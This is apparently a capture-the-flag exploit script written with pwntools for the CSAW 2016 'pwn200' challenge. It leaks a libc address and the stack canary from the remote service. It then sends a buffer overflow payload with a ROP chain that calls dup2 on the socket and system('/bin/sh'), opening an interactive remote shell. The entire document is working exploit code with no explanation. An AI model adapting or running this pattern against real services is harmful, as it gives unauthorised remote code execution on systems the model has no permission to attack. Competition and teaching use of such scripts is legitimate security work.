pwn200_csaw2016

from pwn import *

def PwnIt():
    HOST = 'pwn.chal.csaw.io'
    PORT = 8002
    username = '\xff'*21
    menu = 0x400FA2
    write_plt = 0x400AE0
    libc_start_main_GOT = 0x602068
    popRDI = 0x4012e3 # pop rdi ; ret
    popRSI_pop = 0x00000000004012e1
    offset_str_bin_sh = -1101923
    offset_system = 168656
    offset_dup2 = -509488
    # 0 (stdin), 1 (stdout), 2 (stderr), 3 (log file), 4 (server socket) and 5 our client accept socket
    r = remote(HOST, PORT)
    raw_input("debug?")
    r.recvuntil(">")
    r.sendline("1")
    res = r.recvuntil(">")
    _IO_new_proc_open = res.splitlines()[0].replace("Reference:","")
    _IO_new_proc_open = int(_IO_new_proc_open,16)
    system = _IO_new_proc_open - offset_system
    str_bin_sh = _IO_new_proc_open - offset_str_bin_sh
    dup2 = _IO_new_proc_open - offset_dup2
    log.info("_IO_new_proc_open: %s" % hex(_IO_new_proc_open))
    log.info("system: %s" % hex(system))
    log.info("str_bin_sh: %s" % hex(str_bin_sh))
    log.info("dup2: %s" % hex(dup2))
    r.sendline("2")
    r.recvuntil(">")
    r.sendline("1")
    res = r.recvuntil(">")
    cookie = res[312:320]
    log.info("Cookie:"+cookie.encode("hex"))
    r.sendline("2")
    payload = "\x90"*312
    payload += cookie
    payload += p64(menu)
    payload += p64(popRSI_pop)
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(popRDI)
    payload += p64(0x4)
    payload += p64(dup2)

    payload += p64(popRSI_pop)
    payload += p64(0x1)
    payload += p64(0x1)
    payload += p64(popRDI)
    payload += p64(0x4)
    payload += p64(dup2)

    payload += p64(popRDI)
    payload += p64(str_bin_sh)
    payload += p64(system)

    r.send(payload)
    r.interactive()
PwnIt()